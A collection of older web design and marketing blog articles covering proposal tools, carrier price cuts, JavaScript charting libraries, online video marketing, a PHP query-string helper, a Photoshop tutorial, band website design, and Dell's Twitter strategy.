In this informative and eye-opening article, the author not only writes about his experiences as a freelancer but also how they stumbled upon a system for winning over clients (nearly all the time) by simply outsourcing…

The Secret to Landing Clients Nearly 100% of the Time »

How to Make a Positive First Impression with Potential Clients

For clients, choosing a designer for their project is often based on their comfort level with the designer and their confidence that the designer will do a great job.
First impressions make a huge impact here and can either get you much closer to landing the job, or they can lead the client to eliminate you from consideration.
In this article they look at 11 significant factors that may influence the early impressions from a potential client. These are things that you should focus on to show that you should be considered for the work and that you are more than capable of giving them an excellent website that will be effective for their business.

How to Make a Positive First Impression with Potential Clients »

The Ultimate Design Brief

Your design can only be as good as the brief you worked from. The best projects are borne from briefs that are open enough to inspire ideas, while being specific enough to feel workable.
Unfortunately, clients who aren’t familiar with the design process don’t see carefully-written briefs as a high priority. This may be because they don’t have time. Quite often, it’s because the client hasn’t made fundamental decisions about the objectives of their marketing collateral.
This article talks about how to influence potential clients into writing detailed briefs that will allow you to write a winning proposal.

The Ultimate Design Brief »

Downloadable Web Design Proposal Samples

The first thing to make clear is that the below samples are not templates. Meaning, you can't just take them and use them for your own proposal.
What they do is demonstrate how to effectively and professionally write a winning proposal.

Website Proposal for Company X

Rogue Element Sample Proposal

Sample Website Proposal

Gold Sample Proposal

Professional Web Design Proposal Sample

Sample Web Design Contract, Budget, Timeline & Proposal

A Sample Web Design Proposal: The Designer's Blueprint for the Site

Free Web Design Proposal Contracts (I)

Free Web Design Proposal Contracts (II)

Free Web Design Proposal Contracts (III)

Proposal Apps and Services

Using a web based app to create your proposals is perhaps an option you should consider. There is of course, a trade-off in terms of customizability and originality when you compare templates to your own original documents, but what you get back in time saving may make it worth your while.
Below you will find the best online services for generating professional web design proposals.

Bidsketch

Bidsketch is a proposal-writing tool created specifically for designers. With Bidsketch, you can quickly and easily create elegant, customized proposals and send them to clients. You can also use Bidsketch to keep track of both existing clients and potential clients, so you can find the work you need to stay in business.
There are several professional-looking templates available for proposals, and you also have the option to create a custom template with a little HTML knowledge.
Bidsketch is not free, but you can try it for free for 30 days. The Premium plan costs $19 a month and the basic plan is only $9.

Try Bidsketch »

Video – Bidsketch Walkthrough

Proposalware

Proposalware has been developed and can be customised for almost all types of industry, so is not only restricted for web design proposals.
You can use this app via your computer or any smartphone, allowing you to send proposals quickly and timely and not wasting precious time preparing complicated forms and documents for every single contract.
This service offers a 60 day free trial and the premium package cost $10 per month and $100 per year.

Try Proposalware »

Video – iPhone Proposal Web Application ProposalWare.com

ProposalPad

ProposalPad is a unique system developed for web designers and graphic designers that makes it very easy to create FREE (with premium options) professional graphic and web design project proposals.
Its a very easy to use free service. All you have to do is upload your company information, color scheme, and logo initially, and you're good to go.

Try ProposalPad »

Flowlett

Flowlett is a complete proposal management system that goes beyond traditional CRM and messaging systems to streamline customer interactions around proposals. Once you create a business proposal (example: Quotes, Agreements, Marketing Creatives etc.), you can use Flowlett to route it internally for reviews and approvals, using serial, parallel or hybrid workflows that you define dynamically.
Once ready to present to the client, you can use Flowlett to securely collaborate with your client to finalize it. Once finalized, your client can securely approve it online.
They do give a 30 day FREE trial, where after you can choose between the Standard Plan ($15 a month) or the Plus Plan (from $50 a month).

Try Flowlett »

Video – Introduction to Flowlett

You might also like…

10 Completely Free Wireframe and Mockup Applications »
A Collection of Useful Web Design Wireframing Resources »
10 Online Tools and Apps to Help Optimize and Format CSS »
CSS References, Tutorials, Cheat Sheets, Conversion Tables and Short Codes »
The Blueprint CSS Framework – Tutorials, How-to Guides and Tools »
50 Essential Web Typography Tutorials, Tips, Guides and Best Practices »
50 Useful Tools and Generators for Easy CSS Development »
20+ Resources and Tutorials for Creative Forms using CSS »
24 CSS (in some cases with jQuery) Navigation and Menu Tutorials »
22 CSS Button Styling Tutorials and Techniques »

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If you thought AT&T and Verizon weren’t at war already, today will change your mind. In an effort to undercut each other, both networks have dropped the prices of their unlimited voice plans, including the unlimited plans of iPhone owners (but with a caveat).

Verizon was the first to strike. Earlier today they revealed a new set of nationwide plans for unlimited talk and text. An Unlimited Talk plan now costs $69.99, a full $29 cheaper per month. Unlimited Talk and Text now costs $89.99. Family plans and low-end data plans have also been overhauled (the $19.99 3G data package no longer exists). These new prices will not impact existing customers unless they change their plans (which requires no contract extension or penalty).

It didn’t take long for AT&T to respond, though. It just announced its own price cuts, matching the price of Verizon’s unlimited voice plan ($69.99) and unlimited talk and text ($89.99). The iPhone, labeled by AT&T as a smartphone, costs $99.99 for unlimited voice and data, while texting plans remain unchanged ($20 for unlimited). And just like Verizon, AT&T customers can switch to these new plans, starting on Monday, without penalty or contract extension.

If you want all of the details of the new package plans, you can read the announcements from Verizon and AT&T, but the point is that all of us iPhone and Droid subscribers can start enjoying lower price starting Monday.

Don’t you just love all-out competition? I sure do, and so does my wallet.

Tags: att, business news, droid, iphone, Mobile 2.0, trending, verizon

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1. Highcharts

Highcharts is one of the most promising JavaScript charting libraries to hit the scene recently, with its large array of features including seven charting types (line, pie, and bar among them),  the ability to zoom in and out of charts, and tooltips for offering more information about data points. The library has many options for customization and they’re well documented on one page for easy referencing.

• Highcharts Demo
• Highcharts Download

2. gRaphaël

gRaphaël is a charting library based on Raphaël, a vector graphics drawing JavaScript library. The library is divided into sub-libraries so that you can just download the type of chart that you’re interesting in creating. With the main library, g.raphael.js, at only 12KB and sub-libraries between 4KB to 8KB, this can be a lightweight but fully featured JavaScript charting solution for web developers.

• gRaphaël Demo
• gRaphaël Download

3. JavaScript InfoVis Toolkit

JavaScript InfoVis, a charting library influenced partly by MooTools, is a robust and excellent solution for data visualization. It’s modular (just like MooTools) so that you can include just the parts you need to keep your pages light. It has animation effects capability to captivate and engage your users, plenty of charting types, a helper class for working with JSON data, and much more.

• JavaScript InfoVis Toolkit Demo
• JavaScript InfoVis Toolkit Download

4. jQuery Visualize Plugin

If you’re already using jQuery, it’d be performance conscious of you to look into plugins for your visualization requirements. jQuery Visualize, a plugin developed by the Filament Group (the core developers of jQuery UI), is a jQuery plugin for generating charts using HTML5’s canvas element. It has 14 options for customizing your charts. Don’t forget to try out their Configurable demo.

• jQuery Visualize Plugin Demo
• jQuery Visualize Plugin Download

5. moochart

For now, moochart only plots bubble diagrams, but there are plans to expand this MooTools 1.2 plugin to feature pie, line, and bar graphs. The plugin has 14 options that you can use for customizing your diagram’s look, and tooltips for providing more information about a bubble when mousing over them. moochart is open source and released under the MIT license.

• moochart Demo
• moochart Download

6. JS Charts

JS Charts boasts easy usage by emphasizing on the end-user’s ability to use the library with little to no coding, making it ideal for web designers who’d like to chart data without spending too much time learning how to write JavaScript. JS Charts has a web-based GUI and offers hosting for your charts to take some load off your own servers. It supports three chart types: bar, pie, and line.

• JS Charts Demo
• JS Charts Download

7. dygraphs

dygraphs is a JavaScript library for producing interactive charts for time series data. It was designed to plot dense data sets (such as temperature fluctuations). It has user interfacing options such giving the user the ability to specify time intervals on the fly, displaying of values when mousing over parts of the chart, and zooming. It also integrates with the Google Visualization API.

• dygraphs Demo
• dygraphics Downloads

8. JSXGraph

JSXGraph, developed at the University of Bayreuth in Germany, is a standalone JavaScript library for plotting complex geometric shapes and data such as Bezier curves, differential equations, and much more. It has animation features for moving graphs, interactive components such as sliders for experimenting with changing values of variables, and plenty of charting types to choose from.

• JSXGraph Demo
• JSXGraph Download

9. Protochart

Protochart is a JavaScript library for use with the Prototype JS framework. It uses HTML5’s canvas for modern browsers, and the ExCanvas library for Internet Explorer support. It has six types of charts including line, pie, bars, points, lines with points, and area graphs. It allows for the display of legends that are highly configurable to help identify items on your charts.

• Protochart Demo
• Protochart Download

10. Bluff

Bluff is a lightweight charting library that ports Ruby’s Gruff gem to JavaScript. Weighing at only 11KB gzip’ed (you also need JS.Class which only weighs 2.6KB gzip’ed), it’s surprising that you’ll be able to get 15 different types of charts out of this library. It features tooltips, a ton of configurable options, legend support, and the .set_theme method for declaring reusable themes.

• Bluff Demo
• Bluff Download

11. Style Chart

Style Chart is a free JavaScript-based charting web service/API for creating hosted charts. It’s also available as a downloadable library in case you want to host your own charts (though you need to register in order to download it). It has the things you’d expect from a robust and configurable charting library such as tooltips, legends, and 19 types of charts including 3D pie, 3D bar graphs and Pareto charts.

• Style Chart Demos
• Style Chart Download

12. jqPlot

jqPlot is another jQuery plugin for data visualization developed by Chris Leonello. It’s open source, embodying two sets of licensing: MIT and GPL version 2. It has many options for you to take advantage of in order to truly customize your charts.

• jqPlot Demos
• jqPlot Download

13. jQuery Sparklines

jQuery Sparklines is a simple and lightweight jQuery plugin for charting dynamic sparklines (a condensed data graphic). It emphasizes on ease of use and minimal coding; you can create complex sparklines with as little as one line of JavaScript code. When minified and gzip’ed, the plugin only weights 4.7KB so it won’t bog down your page response times much.

• jQuery Sparklines Demos
• jQuery Sparklines Download

14. jQuery Google Charts

jQuery Google Charts (abbreviated as jGCharts), developed by Massimiliano Balestrieri, is a data visualization jQuery plugin for working with the Google Charts API. It has plenty of chart types, including a 3D pie chart that’s dynamically generated. It has a GUI in development (still in alpha release), which will allow you to create charts easily with a graphical front-end.

• jQuery Google Charts Demo
• jQuery Google Charts Download

15. Canvas Pie Chart with Tooltips

This MooTools class/plugin is for plotting pie charts using the canvas element. It’s based on Canvas pie by Stoyan Stefanov. It’s a simple and straightforward data visualization option for MooTools developers who are only interested in plotting out pie charts.

• Canvas Pie Chart with Tooltips Demo and Download

16. TufteGraph

TufteGraph is a jQuery plugin that emphasizes on ease of use and minimalism. It offers you only a few options for styling and instead relies on CSS for customizing the look and feel of your graphs, which ultimately means that your web pages will render faster because JS has to work less. Check out this introduction video to TufteGraph.

• TufteGraph Demo
• TufteGraph Download

17. Timeline

Timeline is a JavaScript widget for creating interactive timelines. You can scroll through items featured in chronological order by using your mousewheel or by holding down your mouse button on the timeline and dragging left or right. Clicking on a dot, which represents an item in the time line, will reveal more information. Timeline is open source, released under the BSD license.

• Timeline Demos
• Timeline Download

18. Protovis

Protovis is a data visualization library for charting data. Protovis was created by the Stanford Visualization Group. It uses JavaScript and SVG to dynamically plot out your data. Protovis is open source released under the BSD license. You can download the source on their home page.

• Protovis Demos

19. milkchart

milkchart is a JavaScript charting/graphing library that requires MooTools. milkchart renders HTML data tables into one of its five types of charts: column, bar, line, scatter, and pie (with future expansions planned for area graphs) using HTML5’s Canvas element. milkchart is open source under the Apache License.

• milkchart Download

20. Timeplot

Timeplot allows you to dynamically generate time series graphs. Hovering over data points reveals their value. Timeplot was developed as part of the SIMILE Project at MIT. Here’s a step-by-step tutorial on how to utilize Timeplot. Timeplot is open source and available the BSD license. The Timeplot demo and download links are on this page.

• Timeplot Demos and Download Info

Related Content

• Graphing/Charting Data on Web Pages: JavaScript Solutions
• 10 Promising JavaScript Frameworks
• 10 Impressive JavaScript Animation Frameworks
• Related categories: JavaScript and Web Development

About the Author

Jacob Gube is the Founder and Chief Editor of Six Revisions. He’s also a web developer/designer who specializes in front-end development (JavaScript, HTML, CSS) and PHP development. If you’d like to connect with him, head on over to the contact page and follow him on Twitter: @sixrevisions.

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Trouble is, that’s what their competitors are doing also and in this day and age, it’s just not enough.

Does Your Business Stand Out Online?

Most advertising on the Web follows a time-honored format, although some might call it a time-worn format as it does little to differentiate itself. You can bet that a high percentage of this advertising will be ignored and the money spent on it will be wasted.

So how does a company stand out from the crowd online?

Thanks to an oversupply of similar text, claims, and presentation – coupled with a short 21st century attention span – your website has less than ten seconds to move a visitor to action. If it doesn’t, that visitor will click away to another site, and then another. Therefore, it’s critical that you find a way to break through the noise your competitors are making. But even that’s not enough.

Statistics show that even the best-looking websites generate conversion rates of under one percent, so for every 100 visitors you do manage to get, less than one will call or email you. Sound bleak? Thinking of redirecting more of your advertising budget back to the Yellow Pages? Don’t. You’re on the right
track – you just haven’t leveraged all the power available to you online.

One-to-Many Communication. On-on-One Feel.

Most websites are little more than electronic versions of Yellow Page advertising. For the most part, they don’t encourage interaction beyond the obligatory “Contact me for more information” plea. These sites don’t encourage trust any more than their print counterparts. They don’t give visitors the
warm-and-fuzzy feeling that a face-to-face meeting would. But they can.

Searching for a local service provider online can be a daunting prospect, but even more daunting than the search is deciding which provider to use once you get to the page, especially since most websites promise the standard good service, competitive pricing and high quality.

So how does a business differentiate itself from the sea of competition? Web video makes this possible on a grand scale. Thanks to rapidly improving technology, it’s easier than ever to add that warm-and-fuzzy, face-to-face element to your site, replicate an in-person interview, and offer your visitors an opportunity to check you out before picking up the phone. With Web video, you can present an interview that addresses all the questions and concerns of potential clients. You can keep them on your site longer and give them insight into the “business behind the business.” In a way that wasn’t possible even a few years ago, business owners can now speak directly to their audiences and showcase their personalities and areas of expertise. This is especially helpful if you are a professional service provider.

Any business that relies on conveying trust-ability will benefit from this type of web marketing. Really, it’s one-to-many communication with a one-on-one feel. It’s the perfect ice breaker and an efficient means of generating the interest and trust needed to compel potential clients to make an appointment
and do business.

A high-quality Web interview placed strategically on your site is a huge timesaver for you and prospective clients because you reach a wide audience in minimal time. Potential clients get the information they need to pre-qualify – and pre-sell – themselves before they call.

Online video delivers some of the best ROI of any advertising medium today and if set up properly, actually ranks higher than text now by the major search engines like Google. Short of spending valuable face time with a potential client (often times a poorly qualified potential client) there is simply no better way to forge a personal connection with them. With that in mind, here are 10 tips to help you get the most of your online video marketing efforts.

10 Tips for Making the Most of Online Video

1. Make Sure Your Video is Professionally Done.
This is an absolute must. The whole point here is to establish credibility and trust, but you’ll do the opposite with a poorly executed and produced video. Yes, many of the videos you find on sharing sites are mediocre at best, but that is changing rapidly as companies begin to see the value of promoting themselves in this manner. In fact, a recent Permission TV survey found that 67% of 400 hundred top executives intended to focus their online marketing efforts on video in 2009. The rush is coming – find a personable, engaging interviewer and a top notch production crew to really stand out.

2. Submit Your Video to as Many Outlets as Possible.
While YouTube is the clear leader here, there are many other video sharing sites worthy of consideration. Here are some others you won’t want to pass up:

    • Google Video
    • Yahoo! Video
    • Daily Motion
    • MySpaceTV
    • MetaCafe
    • Revver
    • Veoh
    • Blinkx
    • Break

3. Embed Your Video on the Front Page of Your Site.
Don’t hide what’s going to become one of your most effective selling tools on a dusty inside page. Get it out front. Customers and search engines will love you for it.

4. Find Out What Search Terms Your Potential Clients are Using
and Put Them in Your Video’s Title.
If you don’t know what words clients in need of your services are typing into Google and other search engines, get professional help or use some of the resources featured on this page. Once you’ve identified these terms, use the most popular in your video’s title.

5. Make Your Tags and Descriptions SEO-friendly, too.
Most video sharing sites let you tag videos with keywords and post a short description, so get the most out of these by sprinkling in the search terms you’ve identified.

6. Don’t Forget Your Thumbnail.
A thumbnail is a still shot from your video that appears along with search results. Don’t waste this opportunity to present yourself in the best light possible – choose a key moment from your video, preferably one where you’re smiling as you speak with your interviewer.

7. Link Back to Your Site.
Put your URL near the top of your video’s description. You’ll get a higher search ranking and potential clients will quickly learn where to go for more information.

8. Interact With Your Viewers.
Most video sharing sites allow viewer comments. Use this opportunity to answer questions, respond to comments, and further promote your business.

9. Consider a Pay-Per-Click Campaign.
Natural search engine optimization, while effective, takes time to bear fruit. In the meantime, you might want to jump start the process with a pay-per-click campaign that gives you a sponsored search listing. You can learn more about PPC advertising at:

    • www.google.com/intl/en/ads
    • sem.smallbusiness.yahoo.com/searchenginemarketing

    • advertising.microsoft.com/search-advertising

10. Add New Content Often.
Search engines look for it and so do potential clients. Keep your content fresh and up-to-date and keep visitors coming back for more.

With an ever-increasing stream of competition, it’s more important than ever to stand out from the crowd. These days standing out means maximizing your online presence and leveraging the technology to present the unique advantages of you and your firm. There’s no better way for a growth-oriented business to build a solid and secure future than by using effective and affordable online video.

Use these free resources to get a handle on the terms that potential clients are using to search for you right now.

    • Wordtracker
    • Google AdWords
    • Keyword Discovery
    • KwMap
    • Google Trends

Diana D’Itri is co-owner of IDR, LLC, a media production and marketing company. Since 2002, Diana has helped business professionals all over the U.S. to differentiate themselves from their competition and increase web conversions through online and cable television broadcasting. www.idrbroadcasting.com

Post from: SiteProNews: Webmaster News & Resources

10 Tips to Grow Your Business Using Online Video

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/* the function */
function remove_querystring_var($url, $key) {
	$url = preg_replace('/(.*)(?|&)' . $key . '=[^&]+?(&)(.*)/i', '$1$2$4', $url . '&');
	$url = substr($url, 0, -1);
	return $url;
}

/* usage */
//pretending this page is

All I needed to do was provide the URL (in my case I wanted the current page’s URI) and the key to remove — so simple!

All credit goes to Added Bytes for their awesome work. It saved me a lot of time…hopefully it does for you too!

Don’t forget to follow me on Twitter and be sure to visit Script & Style for the best Javascript and CSS articles around!

Sponsor the David Walsh Blog and get your brand in front of several thousand users per day!

PHP Function: Remove a Query String Key=>Value

Related posts:

1. Change the PHP Query String Variable Separator Using php.ini
2. PHP Function To Get A File Extension From A String
3. Generate Readable Byte Labels Using PHP
4. PHP, Microsoft SQL Server (MSSQL), and IIS: Connect and Query with ODBC
5. Remove Broken Images Using MooTools or jQuery

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First download these images

Now create a document 1000X600px with a black background

Drag the screaming face to the very right of the new document.

We need to get rid of the grayish color in the image so bring up your “levels” tool by using the keyboard shortcut ctrl+L and use these settings that follow. Basically I am just dragging the middle arrow to the right.

Now for the rest of the grayish color showing up use a medium sized soft eraser brush to get rid of it.

Now its time to make the curvy lines with the pen tool.

So pick your pen tool and make sure the settings at the top of your photoshop window look
like this

If you don’t know how to use the pen tool there are many tutorials that show how to use it and you can search for them on your favorite search engine. I am going to explain how to use it for one line though.

Following are some images showing the steps to creating the curved line

Then click one more time off the boundary of the canvas to finish up.

Make sure you have a white 3px brush chosen. Also in your brush settings make
sure shape dynamics is turned off. Then with the pen tool right click on the line
you made and click, “stroke path”.

After that right click on it again and choose “remove path”.

Now you should have a white squiggly line.

Now in your blending options use these settings:

Color Overlay:

Choose a mid blue color.

Outer Glow:

Now use that same method to make quite a few more squiggly lines.

Then I made some more but used a bright green color

Next I want to add some cloudy/smoky kind of effect in a new layer above all the curved lines.

To do this make sure you have the two colors you have chosen as your foreground and background colors.

Now choose your brush tool and go to your brush settings:

And set your scattering options like this:

Now in the new layer use either color and paint over the lines like this:

Then hit x on your keyboard to change to the other color and do the same thing. Do this all in the same layer. Don’t paint as heavy with the other color.

Next grab your smudge tool from your tools and set its strength to 57%. Smudge the entire layer by taking your cursor and moving it back and forth to get the smoky effect.

After you finish that, duplicate the layer and set it to vivid light so its a little more vivid.

I want to make the smokey effect and the curved lines to look kind of like sound waves and for that effect I will crete a new layer and make a selection with my rectangle marquee tool. Fill the selection with the color black then use the fibers filter.

Then go to filter>>render>>fibers

Use settings similar to this:

Set it to overlay and that is it for that step.

It should look similar to this

Now time to add the abstract stock photos.

Open abstract2 and drag it into your canvas and size it down to fit over what you have so far.

Set the layer to lighten and erase around it to make it blend in better

Duplicate that layer and move it to the left so it looks like one large abstract light.

Now grab the other abstract stock photo and do the same thing with it.

For the layer I duplicated with the second abstract image I want to change its color slightly just to give the work more color.

So on that one I will adjust the hue/saturation by hitting ctrl+u on my keyboard and using these settings:

That will make it a purple color

Next I will use a medium soft white brush and and paint on the mouth area to give more of a screaming effect.

Add some sparks by using the same method we used before in earlier steps with the scatter brush tool. Use the different colors within the abstract light (blue, green, white etc) and paint sparks on the top and bottom. I will do blue sparks, green sparks, and white ones in 3 different layers. Just paint the color sparks where you see each color.

Add outer glows to them that match the color. For example the blue with a lighter blue outer glow and I used a yellowish glow for the white.

This work will not be complete until I add some lightning to it.

Create a new layer and use the rectangle marquee tool again like in the previous steps to create the fibers and make a selection around the abstract lights. Go to filter>>render>>clouds. Then right after that filter>>render>>difference clouds.

Now hit ctrl+i on your keyboard to invert it

Now bring up your level tool like we did on the image of the guy screaming and move the middle cursor all the way to the right.

Set the layer to overlay and use a soft eraser brush to blend it in good and you should have a pretty cool effect.

The final thing I want to do is add a glow to his face since he has all of this light coming out of his mouth, don’t you think it would be making a glow on his face?

So in a new layer get a medium sized eraser brush and paint a bluish color over his face

Set it to color dodge and we are done!

Here is an idea just to show you what you could do with an image like this:

Thanks for checking out this tutorial!

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As web designers, we never know what field our next client is gonna to come from, so we always have to be prepared to work in their niche, even if it is outside our proverbial design box, and therefore outside our comfort zone. Though research comes naturally with most design work, already having a base to go from never hurts.

This base, could also mean the difference between getting the job, or getting passed over. So it beneficial to familiarize yourself with the common elements that normally make various niche sites stand out from the others in their genre. In this post, we will be looking at the elements of great band websites. So if your next client needs you to build a site for this field, here are some must-haves for your design.

Also, you will notice scattered throughout the post are a few ‘Greatest Hits’, or in other words, some of the best band sites out on the webs.

Band Photo & Member Info

The first, is the most obvious, and one of the most important elements to include. The picture of the band with band member information. Remember most of their fans not only want to know more about the music, but they also want to know more about the individuals that make up the group. So remember to make this a priority, not only because of its necessity to the site and the fans, but also because of the way it can feed the design.

With band websites you want to make sure that the design of the site matches the personality and attitude of the band without going overboard with flash. The time you invest to build the site and put everything together could all be for not if the design doesn’t embody the essence and feel of the band. Keep it simple so as to not detract from the band, make it useable so they can get all the info they need, and make it relevant to not break from the tone of the band.

Greatest Hits – Fallout Boy

Fallout Boy’s website does a great job of both showcasing the talent and allowing the band to connect with their fans. I love their Q&A section for allowing fans to ask questions, it’s a great personalization technique. Their tour info page could use some work to make it a bit clearer, but it’s not much of a deterrent. Joining and signing in may do that, but I wouldn’t recommend making fans join your site just to get your touring info.

Showcase The Music

Now given that the band’s art is their music, you want to make sure that it is highlighted on the site with an appropriately styled presentation befitting their work. So be sure to have a great looking playlist for the users. Remember not everyone visiting the site has necessarily heard the band’s music before, they could have been sent there by friends. Having a well designed playlist can draw new listeners and help to gain new fans, so pay attention to this element.

And being that past is prologue, you want to be sure that you are not only focusing on the band’s current music, but also featuring and pointing visitors to their full discography. Without listing their past body of work, you are in effect minimalizing the band’s previous efforts. And while it is not necessary to have their entire discography on the front page, you are going to want to make sure that the navigation to it is clearly marked and easy to find.

Quick tip: Don’t have the music start automatically, let the visitors decide whether they want to listen or not. Generally it is not a good idea to take over a user’s sound.

Greatest Hits – Kings of Leon

The Kings of Leon’s site is another great example of a band site done right. Their Discography allows logged in fans to rate and review the albums. This is not only a fantastic way to show confidence in the music, but also to demonstrate how much the band values their fan’s input. Their events page lets you know that there aren’t any upcoming events so you don’t have to wonder if the page is working, and removing any guesswork is a must.

Merchandise

Another main element that fans of the band are going to be looking for when coming to the band’s website is merchandise. Not every band will want sell merchandise on their site or even have any to offer, but if your clients choose to have a shop you need to make sure to use a dependable shopping cart system to set them up. Also the presentation of the merchandise is key, so pay attention to the styling you use. You want to compliment it, do not distract from it.

Once the shop is in place, you may think that your job there is done, and it very well could be, if that is how you want to play it. However this is an opportunity to go above and beyond and help steer your client in the direction of some reliable and safe outlets to provide great customer service. By helping them find a service to assist them in this arena, you are demonstrating your passion for customer service, and helping your reputation. Pointing them in the direction of services like Zendesk, and getting them a customer service base to work with helps guarantee they will not be calling you to handle these needs.

Greatest Hits – U2

If you are designing for a big name band, then you have a lot to live to up to, but in the case of U2’s site you can see another way it has been done with style. The site has a great tour page where you can actually find links to purchase tickets to upcoming shows. The depth of the Discography is also engaging, containing backgrounds on each album as well as lyrics to each song.

Calendar of Events

Another classic must have element when designing a band site, is a calendar of events. This is another area of the site that the fans are certainly going to be searching for, so you do not want to make them have to look far. You need to be sure that the fanbase knows where and when they can catch the band performing, and you as the designer need to include this section and make it really pop. You want this to be more than just a stagnant event list, you want it to draw as much attention as the rest of the site.

This can be a tricky element to effectively include, especially if the client has to be in charge of updating it regularly with information. The client may not have much experience with site maintenance, and that can often tie your hands as to how to work in an element like this. This could also offer an opportunity for you to get a recurring maintenance contract with the client to handle these updates to insure that they are done without breaking the design.

Greatest Hits – Arctic Monkeys

Arctic Monkeys are another great band with an equally awesome website. Just like U2’s site, AM’s gigs page also allows visitors and fans to purchase tickets for upcoming shows. This is one of the few band sites I came across that actually had a way to contact the band. They also have a really in depth discography allowing users to comment on their music. And most of their songs have lyrics posted on the site.

Newsletter

Beyond just a calendar to help the band’s fans keep up with what is going on with the group, the inclusion of an online newsletter than can be posted to the site is another great way to get this done. This element offers a bit more of a personal reach into the band, making more of a connection with the fans. So steering the client in this direction not only furthers the scope of the site, but the effectiveness as well.

Newsletters offer you yet another opportunity to flex your design muscles and wow your clients and site visitors alike, but again, this may not be an area that the client wants to go in. Though if you can explain the benefits effectively to them, you might soon find yourself designing the layout of a band newsletter.

Greatest Hits – Band of Horses

The Band of Horses website is an awesomely creative, extremely original and well designed site with fluid navigation that really adds to the overall feel of the band. The band incorporates a newsletter and blog into their site, along with a performance schedule to fully connect with their audience and keep them informed. Which does demonstrate a desire that your clients may share, to have all these various avenues to reach out on their site.

Contact Information

Now this next element is not necessarily specific to a band site, but the customization and styling of the contact information is still key for those looking to get into contact with the group. You also want to make sure that the information is easy to locate and access so that opportunities do not easily slip passed your cient.

Also, given that you are setting up a website for a band, the amount of contact information may be limited so the group does not get overwhelmed with fanatical followers bombarding them with fanmail spam. So it may be a better idea to set up a contact form on the site rather than simply giving out the various phone numbers or e-mail addresses. Once again, you will want to be sure that this is a form that you can customize to fit the tone and feel of the rest of the site.

Greatest Hits – Bob Dylan

Bob Dylan has been a musical icon for generations, and his transition to the digital world via his site is just as stellar as the man himself. Encompassing so much more than just what we have discussed here, Dylan’s site has some extra features that go above and beyond to highlight the fans. Like a community page that pulls in fan blogs that discuss the music and the man behind the myth.

That is a Wrap

That covers things from this end. What are your thoughts on the matter of band sites? What makes them shine? What elements would you include on your list of must-haves? And what band sites do you think are doing things right?

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This post originally appeared on the American Express OPEN Forum, where Mashable regularly contributes articles about leveraging social media and technology in small business.

Dell is a shining example of a brand that has managed to turn their Twitter presence into both a customer service and sales outlet. Dell may be a big corporation, but the story behind the $6.5 million they’ve raised from their Twitter presence is one that shines a light on a road to success that any company, regardless of size, can learn from and emulate.

I asked Dell’s Senior Manager for Corporate Affairs, Richard Binhammer — otherwise known as RichardatDell — to elaborate on Dell’s Twitter success. The following are principles extracted from that email interview.

1. The Right Motivation is Key

---

If you’re simply motivated to make money from Twitter, your heart is in the wrong place. Dell’s strategy is to turn Twitter into an opportunity to build better relationships with customers, which ultimately leads to stronger sales.

According to Binhammer, Dell didn’t initially approach Twitter with dollar signs in their minds, but instead as a listening outpost. “Dell first heard about Twitter at SXSW a few years back and got excited about the listening aspect of Twitter,” he said.

The businesses side of listening was an unintended but welcome bonus to their effective presence on Twitter.

“Dell’s goal has always been to be an online leader and connect with customers wherever they are. It starts with listening and connecting with customers across the Web. This has proven to be invaluable to our business through the years. We see social media connections as a means to further strengthen those direct customer relationships. The added revenue has been a welcome addition to being where our customers are and connecting with them.”

2. Approach Twitter With a Multifaceted Strategy

---

Dell’s Twitter presence isn’t limited to a single account or purpose. Instead Dell takes a multifaceted approach to Twitter and attempts to serve niche customer communities and interests all over the world.

If you’re just looking for deals, they’ve got an account for that (@DellOutlet), if you just want breaking news there’s an account for that too (@Direct2Dell), and the list goes on.

In Binhammer’s own words, this is how Dell approaches Twitter:

- Direct connections between Dell and customers – listen, learn and engage in direct connections with customers (There are ~ 100 Dell employees using Twitter to connect with customers).

- Subscribe to Dell info – customers can subscribe and get Dell news from our blogs/Ideastorm Twitter.

- Dell offers from businesses – some of our businesses, notably Dell Outlet, publish their latest offers on Twitter.

- More about Dell businesses on Twitter: http://www.dell.com/twitter Here you will see various Dell business accounts such as: Small Business, Dell Canada, UK, Korea, Brazil, Mexico, Dell Home Sales, Australia, Japan, China, New Zealand, DellOutletIreland and UK and more

If anything, Dell’s all-hands-on-deck approach to Twitter, demonstrates that you need to serve your customers how they want to be served.

For small businesses in particular, Binhammer recommends that you “Make it easy for your customer to talk to you. Do simple things to thank your customers for their business. Ask them for suggestions. Go where your customers congregate, whether it be Facebook or Twitter or elsewhere, and participate in those conversations. Also, listen to your customers in the blogosphere. What they have to say is vitally important to your business.”

3. Don’t Be a Spammer

---

This may seem obvious, but you’d be surprised by how many small and big businesses alike use Twitter as a one-way marketing channel with overly promotional tweets.

Spamming your customers on Twitter is a surefire way to get unfollowed and immediately ignored. Of course promoting sales and products is encouraged, but do so in a way that your customers can be receptive to. If you need help defining what that looks like, just ask your followers on Twitter for input.

Dell’s approach, as iterated above, is to serve customers’ interests. The dedicated Twitter account for deals means that they can promote Dell deals to only those customers who have opted in to the purely promotional tweets.

Binhammer advises, “Be yourself and avoid spamming. Making genuine, direct connections with your customers in meaningful ways can only help you deliver what customers want at the end of the day.”

More business resources from Mashable:

---

- The 10 Stages of Social Media Business Integration
– 5 Tips for Creating a Successful Social Media Contest
– HOW TO: Measure Social Media ROI
– HOW TO: Use Social Media to Connect with Other Entrepreneurs
– HOW TO: Implement a Social Media Business Strategy
– HOW TO: Use a Start Page to Stay Organized
– HOW TO: Choose a News Reader for Keeping Tabs on Your Industry

Image courtesy of iStockphoto, NoDerog

Tags: business, dell, List, Lists, MARKETING, money, small business, social media, strategy, twitter

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This series is supported by Webdesigner Depot, a popular web design blog covering tutorials, design trends, blogging and inspirational posts. You can visit WDD at webdesignerdepot.com and follow WDD on Twitter @designerdepot.

If you’re using your social media profiles to promote your personal brand or business, chances are that pre-made themes and watermarked templates just won’t cut it. You need a custom design to make your profile stand apart from the rest and convey important information about who you are.

Some of our favorite social networks afford us this customization, but there are a few tricks that may save you some time and frustration when creating a custom profile background. While none of these can replace the eye of a great graphic designer, they should help you get a sense of the layout you’re after.

Choose an Image Editor

---

To start, you’ll need an image editor. Photoshop is probably best suited for the task, but there are plenty of free alternatives on the web.

Gimp is a free, open source image editing and compositing tool that has many of the layering and filtering abilities of Photoshop.

Aviary’s Phoenix is another great free tool that is entirely web based. You can edit and layer images in a Photoshop-like environment right in your web browser, then save the finished product to your desktop.

Photoshop.com also offers a free, “lite,” web-based version of the popular editor.

Once you’ve chosen your tool, it’s time to get to work.

Twitter

---

A great Twitter background makes an impression on potential followers. It should communicate who you are and what people should expect from your tweets. Here are some examples of great Twitter backgrounds:

